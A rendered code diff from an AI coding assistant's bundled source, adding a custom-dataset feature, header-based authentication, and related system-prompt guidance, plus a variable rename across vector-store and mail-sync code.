* Keyed by workspace path. Per-workspace in *behaviour* (§8) but stored user-side and
|
|
40243
40432
|
* user-scope-only (invariant 5) — a repo must not be able to ship its own
|
|
@@ -40709,6 +40898,19 @@ var GUIDE_STEPS = [
|
|
|
40709
40898
|
"You get a writable folder plus any number of read-only ones, such as a shared team folder, with PATH-style precedence and shadowing reported rather than silently applied. Writing a skill needs approval too: it is prose that steers every future turn."
|
|
40710
40899
|
]
|
|
40711
40900
|
},
|
|
40901
|
+
{
|
|
40902
|
+
id: "customData",
|
|
40903
|
+
title: "Custom data - bring your own corpus",
|
|
40904
|
+
tab: "customData",
|
|
40905
|
+
completionEvents: ["onStepSelected"],
|
|
40906
|
+
altText: "The Custom data tab, showing a dataset with its collector tool, record count, schedule and last sync, alongside buttons for syncing, rebuilding and clearing it.",
|
|
40907
|
+
body: [
|
|
40908
|
+
"The data you most want the assistant to know is rarely on disk. It is in a ticketing system, a wiki, a database, an internal API - reachable, but only through something that knows how your organisation authenticates.",
|
|
40909
|
+
"So you point at a tool that returns records, and Light Code does the rest: embedding them, keeping them current, and searching them with `search_data`. The collector is an ordinary Python tool or an MCP tool you already have - one function signature rather than a connector per system.",
|
|
40910
|
+
"You do not have to write it. Tell the assistant where the data lives and ask for a collector; it already has the contract and will offer one for you to approve.",
|
|
40911
|
+
"Each dataset has its own schedule - including **only when I ask**, which is the right answer for a source that is expensive or that only changes when somebody does something. Clear, rebuild and a retention window are all here, and a progress bar with a Stop for the first sync of something large."
|
|
40912
|
+
]
|
|
40913
|
+
},
|
|
40712
40914
|
{
|
|
40713
40915
|
id: "search",
|
|
40714
40916
|
title: "Search - find things by meaning",
|
|
@@ -40811,6 +41013,9 @@ var USER_SCOPE_ONLY_KEYS = [
|
|
|
40811
41013
|
// Added for Phase 8b, and the sharpest entries on this list. A workspace able to name a
|
|
40812
41014
|
// cluster, or repoint the embedder at a profile of its choosing, would exfiltrate
|
|
40813
41015
|
// whatever gets indexed — and what gets indexed is the source code.
|
|
41016
|
+
// A dataset names a program to run *and* a store to write what it produced into — the `python`
|
|
41017
|
+
// threat and the `embedder` threat in one key, on a timer.
|
|
41018
|
+
"datasets",
|
|
40814
41019
|
"vectorStores",
|
|
40815
41020
|
"activeVectorStoreId",
|
|
40816
41021
|
"embedder",
|
|
@@ -41366,6 +41571,27 @@ var NoAuthStrategy = class {
|
|
|
41366
41571
|
}
|
|
41367
41572
|
};
|
|
41368
41573
|
|
|
41574
|
+
// ../../packages/core/dist/providers/auth/header.js
|
|
41575
|
+
var HeaderAuthStrategy = class {
|
|
41576
|
+
secrets;
|
|
41577
|
+
credentials;
|
|
41578
|
+
constructor(secrets, credentials) {
|
|
41579
|
+
this.secrets = secrets;
|
|
41580
|
+
this.credentials = credentials;
|
|
41581
|
+
}
|
|
41582
|
+
async resolveHeaders() {
|
|
41583
|
+
const headers = {};
|
|
41584
|
+
for (const credential of this.credentials) {
|
|
41585
|
+
const value = await resolveSecretRef(credential.valueRef, { secrets: this.secrets });
|
|
41586
|
+
if (value === void 0) {
|
|
41587
|
+
throw new Error(`${describeMissingSecret(credential.valueRef, `the value for header "${credential.name}"`)}`);
|
|
41588
|
+
}
|
|
41589
|
+
headers[credential.name] = `${credential.prefix ?? ""}${value}`;
|
|
41590
|
+
}
|
|
41591
|
+
return headers;
|
|
41592
|
+
}
|
|
41593
|
+
};
|
|
41594
|
+
|
|
41369
41595
|
// ../../packages/core/dist/providers/auth/tokenCommand.js
|
|
41370
41596
|
import { spawn } from "node:child_process";
|
|
41371
41597
|
function readPath(source, dotted) {
|
|
@@ -41911,6 +42137,8 @@ function createBaseAuthStrategy(auth2, context) {
|
|
|
41911
42137
|
headerPrefix: auth2.tokenCommand.headerPrefix ?? context.apiKeyHeaderPrefix ?? derived.prefix
|
|
41912
42138
|
});
|
|
41913
42139
|
}
|
|
42140
|
+
case "header":
|
|
42141
|
+
return new HeaderAuthStrategy(context.secrets, auth2.headers);
|
|
41914
42142
|
case "none":
|
|
41915
42143
|
return new NoAuthStrategy();
|
|
41916
42144
|
case "apigeeMtls": {
|
|
@@ -42889,8 +43117,8 @@ var SUPERSEDED_MARKER = "[Superseded: this file was read again later in the conv
|
|
|
42889
43117
|
function readFilePath(argumentsJson) {
|
|
42890
43118
|
try {
|
|
42891
43119
|
const parsed = JSON.parse(argumentsJson.length > 0 ? argumentsJson : "{}");
|
|
42892
|
-
const
|
|
42893
|
-
return typeof
|
|
43120
|
+
const path34 = parsed.path;
|
|
43121
|
+
return typeof path34 === "string" && path34.length > 0 ? path34 : void 0;
|
|
42894
43122
|
} catch {
|
|
42895
43123
|
return void 0;
|
|
42896
43124
|
}
|
|
@@ -42903,8 +43131,8 @@ function dropSupersededReads(messages) {
|
|
|
42903
43131
|
for (const toolCall of message3.toolCalls ?? []) {
|
|
42904
43132
|
if (toolCall.name !== "read_file")
|
|
42905
43133
|
continue;
|
|
42906
|
-
const
|
|
42907
|
-
if (
|
|
43134
|
+
const path34 = readFilePath(toolCall.arguments);
|
|
43135
|
+
if (path34 === void 0)
|
|
42908
43136
|
continue;
|
|
42909
43137
|
keyByCallId.set(toolCall.id, toolCall.arguments);
|
|
42910
43138
|
}
|
|
@@ -43339,6 +43567,18 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
|
|
|
43339
43567
|
lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
|
|
43340
43568
|
}
|
|
43341
43569
|
lines.push("", "Charts:", "- **Draw one whenever numbers are easier seen than read** \u2014 a count per folder or per day, a", " value trending over time, a breakdown of a total. Use show_chart; do not print a table of", " figures where a chart would answer the question faster.", "- **Always fill in `detail`** when the numbers count things that can be named \u2014 the subjects,", ' the files, the ids. A bar reading 14 is only useful if "which fourteen?" has an answer, and', " the detail is what lets the user open the bar instead of asking you to search again.", "- Say in `note` where the numbers came from and what they exclude. A chart is believed", " without being checked, so its limits have to travel with it.", "- Series must have exactly one value per category. A mismatch is refused rather than padded,", " because a chart drawn from misaligned data looks correct and is not.", "- After drawing, describe what it shows. Do not recite the numbers again \u2014 they are on screen.", "- **A Python tool can produce the data.** Have it return JSON shaped", ' `{"categories": [...], "series": [{"name": ..., "values": [...], "detail": [[...], ...]}]}`', " and pass that straight to show_chart. That is the intended way to chart anything you have", " analysed in Python \u2014 the tool does the arithmetic, show_chart draws it, and the numbers are", " never retyped by you in between.");
|
|
43570
|
+
if (options.canWriteCollectors === true && (options.datasets ?? []).length === 0) {
|
|
43571
|
+
lines.push("", "Custom datasets:", "- None are configured yet. The user sets one up in Settings, Custom data, by pointing at a", " tool that returns records \u2014 and can ask you to write that tool. If they do, it is an", " ordinary Python tool and the contract is below. Follow it exactly: a collector returning", " the wrong shape is refused when it runs, not when it is written.", "", COLLECTOR_TOOL_GUIDANCE);
|
|
43572
|
+
}
|
|
43573
|
+
if (options.datasets !== void 0 && options.datasets.length > 0) {
|
|
43574
|
+
lines.push("", "Custom datasets:", `- The user collects these themselves: ${options.datasets.map((dataset) => `${dataset.name} (${String(dataset.records)} records)`).join(", ")}.`, "- **Use search_data for anything about data the organisation collects itself** \u2014 tickets,", " wiki pages, rows from an internal system. It is the only way to reach these; they are not", " in the codebase and not in the mail index.", "- It searches what has been **synced**, not the live source. If the answer turns on", " something very recent, say when the dataset was last synced rather than implying it is", " current. Do not offer to refresh it yourself \u2014 syncing is triggered by the user.", ...options.canWriteCollectors === true ? [
|
|
43575
|
+
"- If they want a dataset you cannot find, you can write the collector: it is an",
|
|
43576
|
+
" ordinary Python tool returning records. Offer, do not assume \u2014 then they configure",
|
|
43577
|
+
" it in Settings, Custom data. The contract is below.",
|
|
43578
|
+
"",
|
|
43579
|
+
COLLECTOR_TOOL_GUIDANCE
|
|
43580
|
+
] : []);
|
|
43581
|
+
}
|
|
43342
43582
|
if (options.mailIndexed === true) {
|
|
43343
43583
|
lines.push("", "Email:", "- **Always answer questions about email from the index, using search_mail and", " mail_patterns.** That is what it is for. It is fast, it answers questions about time", " and recurrence that a live search cannot, and it does not disturb the running Outlook.", '- **Only search Outlook itself when the user asks you to.** "Check Outlook", "look at my', ' actual mailbox", "is it there now" and anything similar are the instruction to use', " outlook_search. Do not reach for it on your own initiative.", "- If the index has nothing, say so plainly and say when it was last synced. Do not", " quietly fall back to scanning Outlook - a slow live scan that nobody asked for reads", " as the assistant having hung.", "- One exception worth naming: if the user is asking about something that arrived in the", " last few minutes, the index may not have it yet. Say that, and offer to check Outlook", " rather than doing it unasked.", "- **The index holds plain text.** Colours, highlighting and images are not in it. When", " those could carry meaning \u2014 a red line marking a failure, a highlighted cell \u2014 use", " outlook_read_email on the id, which reads the live message and reports the colours.", " Never conclude a message looks fine from indexed text alone.", "- mail_coverage says which folders are indexed and how far back. Check it before saying", " something is not in the mail: an empty search over an unindexed folder looks exactly", " like an empty search over an indexed one.", "- **Use mail_stats for any question with a number in the answer** \u2014 how many alerts per", " folder, per day, per hour, which senders, whether a figure inside the alerts is climbing.", " It counts everything the filters matched. Never count search results by eye: search", " returns a page, so counting what you were shown reports a sample as if it were the total.", "- mail_stats already returns categories, values and detail in the shape show_chart wants.", " Pass it through rather than retyping the numbers, and keep the detail.");
|
|
43344
43584
|
}
|
|
@@ -43978,13 +44218,13 @@ var OpenSearchClient = class {
|
|
|
43978
44218
|
* `_bulk`, `_delete_by_query`, index creation — is refused here rather than merely
|
|
43979
44219
|
* unused, so no future edit or crafted argument can turn a read client into a writer.
|
|
43980
44220
|
*/
|
|
43981
|
-
async request(
|
|
44221
|
+
async request(path34, options = {}) {
|
|
43982
44222
|
const method = options.method ?? "GET";
|
|
43983
|
-
const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(
|
|
44223
|
+
const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path34);
|
|
43984
44224
|
if (method !== "GET" && !isSearchPost) {
|
|
43985
|
-
throw new OpenSearchError(`Refusing ${method} ${
|
|
44225
|
+
throw new OpenSearchError(`Refusing ${method} ${path34}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
|
|
43986
44226
|
}
|
|
43987
|
-
const url2 = `${this.base}${
|
|
44227
|
+
const url2 = `${this.base}${path34}`;
|
|
43988
44228
|
const request = {
|
|
43989
44229
|
method,
|
|
43990
44230
|
headers: this.headers()
|
|
@@ -44147,11 +44387,11 @@ function collectFields(properties, prefix, out) {
|
|
|
44147
44387
|
return;
|
|
44148
44388
|
for (const [name, raw] of Object.entries(properties)) {
|
|
44149
44389
|
const field = raw;
|
|
44150
|
-
const
|
|
44390
|
+
const path34 = prefix.length > 0 ? `${prefix}.${name}` : name;
|
|
44151
44391
|
if (typeof field.type === "string")
|
|
44152
|
-
out[
|
|
44392
|
+
out[path34] = field.type;
|
|
44153
44393
|
if (field.properties !== void 0)
|
|
44154
|
-
collectFields(field.properties,
|
|
44394
|
+
collectFields(field.properties, path34, out);
|
|
44155
44395
|
}
|
|
44156
44396
|
}
|
|
44157
44397
|
function describeStatus(status, url2, body) {
|
|
@@ -44170,23 +44410,23 @@ function describeStatus(status, url2, body) {
|
|
|
44170
44410
|
var TEXT_TYPES = /* @__PURE__ */ new Set(["text", "match_only_text", "search_as_you_type", "wildcard"]);
|
|
44171
44411
|
var KEYWORD_TYPES = /* @__PURE__ */ new Set(["keyword", "constant_keyword"]);
|
|
44172
44412
|
var NOISE_FIELDS = /* @__PURE__ */ new Set(["@version", "ecs", "tags", "stream", "input", "agent", "host", "event"]);
|
|
44173
|
-
function leafName(
|
|
44174
|
-
const parts =
|
|
44175
|
-
return parts[parts.length - 1] ??
|
|
44413
|
+
function leafName(path34) {
|
|
44414
|
+
const parts = path34.split(".");
|
|
44415
|
+
return parts[parts.length - 1] ?? path34;
|
|
44176
44416
|
}
|
|
44177
44417
|
function selectQueryFields(mapping, limit = 25) {
|
|
44178
44418
|
const text = [];
|
|
44179
44419
|
const keyword = [];
|
|
44180
|
-
for (const [
|
|
44181
|
-
if (NOISE_FIELDS.has(leafName(
|
|
44420
|
+
for (const [path34, type] of Object.entries(mapping)) {
|
|
44421
|
+
if (NOISE_FIELDS.has(leafName(path34)) || NOISE_FIELDS.has(path34.split(".")[0] ?? ""))
|
|
44182
44422
|
continue;
|
|
44183
44423
|
if (TEXT_TYPES.has(type)) {
|
|
44184
|
-
text.push(
|
|
44424
|
+
text.push(path34);
|
|
44185
44425
|
} else if (KEYWORD_TYPES.has(type)) {
|
|
44186
|
-
const parent =
|
|
44187
|
-
if (
|
|
44426
|
+
const parent = path34.replace(/\.keyword$/, "");
|
|
44427
|
+
if (path34.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
|
|
44188
44428
|
continue;
|
|
44189
|
-
keyword.push(
|
|
44429
|
+
keyword.push(path34);
|
|
44190
44430
|
}
|
|
44191
44431
|
}
|
|
44192
44432
|
const byDepth = (a, b) => a.split(".").length - b.split(".").length || a.localeCompare(b);
|
|
@@ -44328,8 +44568,8 @@ var OpenSearchIndexWriter = class {
|
|
|
44328
44568
|
}
|
|
44329
44569
|
return headers;
|
|
44330
44570
|
}
|
|
44331
|
-
async request(
|
|
44332
|
-
const url2 = `${this.connection.url.replace(/\/+$/, "")}${
|
|
44571
|
+
async request(path34, method, body, signal) {
|
|
44572
|
+
const url2 = `${this.connection.url.replace(/\/+$/, "")}${path34}`;
|
|
44333
44573
|
const request = { method, headers: this.headers() };
|
|
44334
44574
|
if (body !== void 0) {
|
|
44335
44575
|
if (typeof body === "string") {
|
|
@@ -44543,13 +44783,13 @@ var OpenSearchIndexWriter = class {
|
|
|
44543
44783
|
for (const hit of hits) {
|
|
44544
44784
|
const source = hit._source ?? {};
|
|
44545
44785
|
const vector = source.vector;
|
|
44546
|
-
const
|
|
44547
|
-
if (typeof
|
|
44786
|
+
const path34 = source.path;
|
|
44787
|
+
if (typeof path34 !== "string" || !Array.isArray(vector))
|
|
44548
44788
|
continue;
|
|
44549
44789
|
documents.push({
|
|
44550
44790
|
id: hit._id ?? "",
|
|
44551
44791
|
text: typeof source.text === "string" ? source.text : "",
|
|
44552
|
-
path:
|
|
44792
|
+
path: path34,
|
|
44553
44793
|
startLine: typeof source.startLine === "number" ? source.startLine : 1,
|
|
44554
44794
|
endLine: typeof source.endLine === "number" ? source.endLine : 1,
|
|
44555
44795
|
vector
|
|
@@ -44623,8 +44863,8 @@ var RestTransport = class {
|
|
|
44623
44863
|
* threw would push every caller into catching and re-inspecting an error to find out
|
|
44624
44864
|
* whether it was really an error. `expectOk` is there for the cases that are.
|
|
44625
44865
|
*/
|
|
44626
|
-
async send(
|
|
44627
|
-
const url2 = `${this.connection.url.replace(/\/+$/, "")}${
|
|
44866
|
+
async send(path34, method, body, signal) {
|
|
44867
|
+
const url2 = `${this.connection.url.replace(/\/+$/, "")}${path34}`;
|
|
44628
44868
|
const request = { method, headers: this.headers() };
|
|
44629
44869
|
if (body !== void 0)
|
|
44630
44870
|
request.body = JSON.stringify(body);
|
|
@@ -44650,11 +44890,11 @@ var RestTransport = class {
|
|
|
44650
44890
|
return { status: response.status, body: parsed };
|
|
44651
44891
|
}
|
|
44652
44892
|
/** Sends, and throws unless the status is 2xx. */
|
|
44653
|
-
async expectOk(
|
|
44654
|
-
const result = await this.send(
|
|
44893
|
+
async expectOk(path34, method, body, signal) {
|
|
44894
|
+
const result = await this.send(path34, method, body, signal);
|
|
44655
44895
|
if (result.status < 200 || result.status >= 300) {
|
|
44656
44896
|
const detail = typeof result.body === "string" ? result.body : JSON.stringify(result.body ?? "");
|
|
44657
|
-
throw new VectorStoreError(`${method} ${
|
|
44897
|
+
throw new VectorStoreError(`${method} ${path34} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
|
|
44658
44898
|
}
|
|
44659
44899
|
return result.body;
|
|
44660
44900
|
}
|
|
@@ -44755,10 +44995,10 @@ var ChromaSearcher = class extends ChromaBase {
|
|
|
44755
44995
|
const matches = [];
|
|
44756
44996
|
for (let index = 0; index < ids.length; index++) {
|
|
44757
44997
|
const metadata = metadatas[index] ?? {};
|
|
44758
|
-
const
|
|
44759
|
-
if (
|
|
44998
|
+
const path34 = typeof metadata.path === "string" ? metadata.path : void 0;
|
|
44999
|
+
if (path34 === void 0)
|
|
44760
45000
|
continue;
|
|
44761
|
-
if (filtering && !
|
|
45001
|
+
if (filtering && !path34.startsWith(prefix))
|
|
44762
45002
|
continue;
|
|
44763
45003
|
const distance = distances[index];
|
|
44764
45004
|
const match = {
|
|
@@ -44770,7 +45010,7 @@ var ChromaSearcher = class extends ChromaBase {
|
|
|
44770
45010
|
*/
|
|
44771
45011
|
score: typeof distance === "number" ? 1 / (1 + Math.max(0, distance)) : 0,
|
|
44772
45012
|
text: documents[index] ?? (typeof metadata.text === "string" ? metadata.text : ""),
|
|
44773
|
-
path:
|
|
45013
|
+
path: path34
|
|
44774
45014
|
};
|
|
44775
45015
|
if (typeof metadata.startLine === "number")
|
|
44776
45016
|
match.startLine = metadata.startLine;
|
|
@@ -44881,13 +45121,13 @@ var ChromaIndexWriter = class extends ChromaBase {
|
|
|
44881
45121
|
for (let index = 0; index < ids.length; index++) {
|
|
44882
45122
|
const metadata = result.metadatas?.[index] ?? {};
|
|
44883
45123
|
const vector = result.embeddings?.[index];
|
|
44884
|
-
const
|
|
44885
|
-
if (
|
|
45124
|
+
const path34 = typeof metadata.path === "string" ? metadata.path : void 0;
|
|
45125
|
+
if (path34 === void 0 || !Array.isArray(vector))
|
|
44886
45126
|
continue;
|
|
44887
45127
|
documents.push({
|
|
44888
45128
|
id: ids[index] ?? "",
|
|
44889
45129
|
text: result.documents?.[index] ?? "",
|
|
44890
|
-
path:
|
|
45130
|
+
path: path34,
|
|
44891
45131
|
startLine: typeof metadata.startLine === "number" ? metadata.startLine : 1,
|
|
44892
45132
|
endLine: typeof metadata.endLine === "number" ? metadata.endLine : 1,
|
|
44893
45133
|
vector
|
|
@@ -44904,9 +45144,9 @@ var ChromaIndexWriter = class extends ChromaBase {
|
|
|
44904
45144
|
const result = await this.rest.expectOk(`${this.base}/collections/${found.id}/get`, "POST", { include: ["metadatas"], limit }, options.signal);
|
|
44905
45145
|
const paths = /* @__PURE__ */ new Set();
|
|
44906
45146
|
for (const metadata of result.metadatas ?? []) {
|
|
44907
|
-
const
|
|
44908
|
-
if (typeof
|
|
44909
|
-
paths.add(
|
|
45147
|
+
const path34 = metadata?.path;
|
|
45148
|
+
if (typeof path34 === "string")
|
|
45149
|
+
paths.add(path34);
|
|
44910
45150
|
}
|
|
44911
45151
|
return [...paths];
|
|
44912
45152
|
}
|
|
@@ -44933,14 +45173,14 @@ var MARKER_ID = "5f6d2a41-0000-5000-8000-6c69676874c0";
|
|
|
44933
45173
|
var MARKER_MARK = "light-code";
|
|
44934
45174
|
function toMatch(point) {
|
|
44935
45175
|
const payload = point.payload ?? {};
|
|
44936
|
-
const
|
|
44937
|
-
if (
|
|
45176
|
+
const path34 = typeof payload.path === "string" ? payload.path : void 0;
|
|
45177
|
+
if (path34 === void 0)
|
|
44938
45178
|
return void 0;
|
|
44939
45179
|
const match = {
|
|
44940
45180
|
id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
|
|
44941
45181
|
score: typeof point.score === "number" ? point.score : 0,
|
|
44942
45182
|
text: typeof payload.text === "string" ? payload.text : "",
|
|
44943
|
-
path:
|
|
45183
|
+
path: path34
|
|
44944
45184
|
};
|
|
44945
45185
|
if (typeof payload.startLine === "number")
|
|
44946
45186
|
match.startLine = payload.startLine;
|
|
@@ -45118,13 +45358,13 @@ var QdrantIndexWriter = class extends QdrantBase {
|
|
|
45118
45358
|
const documents = [];
|
|
45119
45359
|
for (const point of result.body.result?.points ?? []) {
|
|
45120
45360
|
const payload = point.payload ?? {};
|
|
45121
|
-
const
|
|
45122
|
-
if (
|
|
45361
|
+
const path34 = typeof payload.path === "string" ? payload.path : void 0;
|
|
45362
|
+
if (path34 === void 0 || !Array.isArray(point.vector))
|
|
45123
45363
|
continue;
|
|
45124
45364
|
documents.push({
|
|
45125
45365
|
id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
|
|
45126
45366
|
text: typeof payload.text === "string" ? payload.text : "",
|
|
45127
|
-
path:
|
|
45367
|
+
path: path34,
|
|
45128
45368
|
startLine: typeof payload.startLine === "number" ? payload.startLine : 1,
|
|
45129
45369
|
endLine: typeof payload.endLine === "number" ? payload.endLine : 1,
|
|
45130
45370
|
vector: point.vector
|
|
@@ -45151,9 +45391,9 @@ var QdrantIndexWriter = class extends QdrantBase {
|
|
|
45151
45391
|
throw new VectorStoreError(`Could not list "${collection}" (HTTP ${String(result.status)}).`, result.status);
|
|
45152
45392
|
}
|
|
45153
45393
|
for (const point of result.body.result?.points ?? []) {
|
|
45154
|
-
const
|
|
45155
|
-
if (typeof
|
|
45156
|
-
paths.add(
|
|
45394
|
+
const path34 = point.payload?.path;
|
|
45395
|
+
if (typeof path34 === "string")
|
|
45396
|
+
paths.add(path34);
|
|
45157
45397
|
}
|
|
45158
45398
|
offset = result.body.result?.next_page_offset;
|
|
45159
45399
|
if (offset === void 0 || offset === null)
|
|
@@ -45567,8 +45807,8 @@ function teamSkillDocument(skill, body, vector, attribution) {
|
|
|
45567
45807
|
vector
|
|
45568
45808
|
};
|
|
45569
45809
|
}
|
|
45570
|
-
function nameFromPath(
|
|
45571
|
-
return
|
|
45810
|
+
function nameFromPath(path34) {
|
|
45811
|
+
return path34.startsWith("skill:") ? path34.slice("skill:".length) : path34;
|
|
45572
45812
|
}
|
|
45573
45813
|
function toHit(match, self) {
|
|
45574
45814
|
return {
|
|
@@ -46954,8 +47194,8 @@ function createMailCoverageTool(options) {
|
|
|
46954
47194
|
}
|
|
46955
47195
|
};
|
|
46956
47196
|
}
|
|
46957
|
-
function normaliseFolder(
|
|
46958
|
-
return
|
|
47197
|
+
function normaliseFolder(path34) {
|
|
47198
|
+
return path34.toLowerCase().replace(/[\\/]+/g, "\\");
|
|
46959
47199
|
}
|
|
46960
47200
|
function haystackOf(record2) {
|
|
46961
47201
|
return `${record2.subject}
|
|
@@ -47413,7 +47653,7 @@ async function refreshMail(options) {
|
|
|
47413
47653
|
const limit = options.batchLimit ?? 2e3;
|
|
47414
47654
|
const previewChars = options.previewChars ?? 400;
|
|
47415
47655
|
const sinceMs = Date.now() - options.days * 24 * 60 * 60 * 1e3;
|
|
47416
|
-
const harvested = await options.harvest(options.folders.map((
|
|
47656
|
+
const harvested = await options.harvest(options.folders.map((path34) => ({ path: path34, sinceMs })), { limit, previewChars });
|
|
47417
47657
|
const fetched = harvested.messages.map(toRecord);
|
|
47418
47658
|
if (fetched.length === 0) {
|
|
47419
47659
|
return { added: 0, more: false, total: known.length, embedded: 0, backfilled: 0, complete: [] };
|
|
@@ -47454,9 +47694,9 @@ async function syncMail(options) {
|
|
|
47454
47694
|
const backfillDone = await options.store.loadBackfillState();
|
|
47455
47695
|
const limit = options.batchLimit ?? 500;
|
|
47456
47696
|
const previewChars = options.previewChars ?? 400;
|
|
47457
|
-
const forwardRequests = options.folders.map((
|
|
47458
|
-
const mark = marks.get(
|
|
47459
|
-
return mark === void 0 ? { path:
|
|
47697
|
+
const forwardRequests = options.folders.map((path34) => {
|
|
47698
|
+
const mark = marks.get(path34);
|
|
47699
|
+
return mark === void 0 ? { path: path34 } : { path: path34, sinceMs: mark.newest - 1e3 };
|
|
47460
47700
|
});
|
|
47461
47701
|
const forward = await options.harvest(forwardRequests, { limit, previewChars });
|
|
47462
47702
|
let candidates = forward.messages.map(toRecord);
|
|
@@ -47465,15 +47705,15 @@ async function syncMail(options) {
|
|
|
47465
47705
|
let more = forward.truncated;
|
|
47466
47706
|
const remaining = limit - candidates.length;
|
|
47467
47707
|
const floor = options.retentionMonths === void 0 ? void 0 : monthsBefore(options.now ?? Date.now(), options.retentionMonths);
|
|
47468
|
-
const outstanding = options.folders.filter((
|
|
47469
|
-
const atFloor = floor === void 0 ? [] : outstanding.filter((
|
|
47470
|
-
const behind = outstanding.filter((
|
|
47708
|
+
const outstanding = options.folders.filter((path34) => marks.has(path34) && backfillDone[path34] !== true);
|
|
47709
|
+
const atFloor = floor === void 0 ? [] : outstanding.filter((path34) => marks.get(path34).oldest <= floor);
|
|
47710
|
+
const behind = outstanding.filter((path34) => !atFloor.includes(path34));
|
|
47471
47711
|
completed.push(...atFloor);
|
|
47472
47712
|
if (remaining > 0 && behind.length > 0 && options.signal?.aborted !== true) {
|
|
47473
|
-
const backRequests = behind.map((
|
|
47474
|
-
path:
|
|
47713
|
+
const backRequests = behind.map((path34) => ({
|
|
47714
|
+
path: path34,
|
|
47475
47715
|
// Strictly older, so the oldest held message is not fetched again every pass.
|
|
47476
|
-
beforeMs: marks.get(
|
|
47716
|
+
beforeMs: marks.get(path34).oldest,
|
|
47477
47717
|
// And no older than retention wants. The harvest ANDs the two into one window.
|
|
47478
47718
|
...floor === void 0 ? {} : { sinceMs: floor }
|
|
47479
47719
|
}));
|
|
@@ -47481,9 +47721,9 @@ async function syncMail(options) {
|
|
|
47481
47721
|
backfilled = backward.messages.length;
|
|
47482
47722
|
candidates = [...candidates, ...backward.messages.map(toRecord)];
|
|
47483
47723
|
const returnedFor = new Set(backward.messages.map((message3) => message3.folder));
|
|
47484
|
-
for (const
|
|
47485
|
-
if (!returnedFor.has(
|
|
47486
|
-
completed.push(
|
|
47724
|
+
for (const path34 of behind) {
|
|
47725
|
+
if (!returnedFor.has(path34))
|
|
47726
|
+
completed.push(path34);
|
|
47487
47727
|
}
|
|
47488
47728
|
if (backward.truncated || backfilled > 0)
|
|
47489
47729
|
more = true;
|
|
@@ -47491,7 +47731,7 @@ async function syncMail(options) {
|
|
|
47491
47731
|
if (completed.length > 0) {
|
|
47492
47732
|
await options.store.saveBackfillState({
|
|
47493
47733
|
...backfillDone,
|
|
47494
|
-
...Object.fromEntries(completed.map((
|
|
47734
|
+
...Object.fromEntries(completed.map((path34) => [path34, true]))
|
|
47495
47735
|
});
|
|
47496
47736
|
}
|
|
47497
47737
|
const fresh = withoutKnown(candidates, known);
|
|
@@ -48409,14 +48649,14 @@ function formatBytes(size) {
|
|
|
48409
48649
|
return `${(size / (1 << 10)).toFixed(1)}KB`;
|
|
48410
48650
|
return `${String(size)}B`;
|
|
48411
48651
|
}
|
|
48412
|
-
async function readTail(
|
|
48652
|
+
async function readTail(fs27, path34, size, count) {
|
|
48413
48653
|
let span = Math.min(size, CHUNK);
|
|
48414
48654
|
let text;
|
|
48415
48655
|
let start;
|
|
48416
48656
|
for (; ; ) {
|
|
48417
48657
|
start = Math.max(0, size - span);
|
|
48418
48658
|
const decoder = new StringDecoder("utf8");
|
|
48419
|
-
text = decoder.write(await
|
|
48659
|
+
text = decoder.write(await fs27.readBytesSlice(path34, start, size)) + decoder.end();
|
|
48420
48660
|
const enough = text.split("\n").length > count;
|
|
48421
48661
|
if (enough || start === 0 || span >= size)
|
|
48422
48662
|
break;
|
|
@@ -48434,7 +48674,7 @@ async function readTail(fs26, path33, size, count) {
|
|
|
48434
48674
|
hasMoreAfter: false
|
|
48435
48675
|
};
|
|
48436
48676
|
}
|
|
48437
|
-
async function readLineWindow(
|
|
48677
|
+
async function readLineWindow(fs27, path34, size, from, count) {
|
|
48438
48678
|
const decoder = new StringDecoder("utf8");
|
|
48439
48679
|
const lines = [];
|
|
48440
48680
|
let pending = "";
|
|
@@ -48449,7 +48689,7 @@ async function readLineWindow(fs26, path33, size, from, count) {
|
|
|
48449
48689
|
};
|
|
48450
48690
|
scan: while (position < size) {
|
|
48451
48691
|
const end = Math.min(size, position + CHUNK);
|
|
48452
|
-
pending += decoder.write(await
|
|
48692
|
+
pending += decoder.write(await fs27.readBytesSlice(path34, position, end));
|
|
48453
48693
|
position = end;
|
|
48454
48694
|
const parts = pending.split(/\r\n|\r|\n/);
|
|
48455
48695
|
pending = parts.pop() ?? "";
|
|
@@ -48472,13 +48712,13 @@ async function readLineWindow(fs26, path33, size, from, count) {
|
|
|
48472
48712
|
hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
|
|
48473
48713
|
};
|
|
48474
48714
|
}
|
|
48475
|
-
async function countLines(
|
|
48715
|
+
async function countLines(fs27, path34, size) {
|
|
48476
48716
|
let newlines = 0;
|
|
48477
48717
|
let position = 0;
|
|
48478
48718
|
let lastByte = -1;
|
|
48479
48719
|
while (position < size) {
|
|
48480
48720
|
const end = Math.min(size, position + CHUNK);
|
|
48481
|
-
const buffer = await
|
|
48721
|
+
const buffer = await fs27.readBytesSlice(path34, position, end);
|
|
48482
48722
|
for (const byte of buffer)
|
|
48483
48723
|
if (byte === 10)
|
|
48484
48724
|
newlines += 1;
|
|
@@ -54605,6 +54845,10 @@ var PythonWorker = class {
|
|
|
54605
54845
|
this.options.logger.debug("python worker output", line);
|
|
54606
54846
|
return;
|
|
54607
54847
|
}
|
|
54848
|
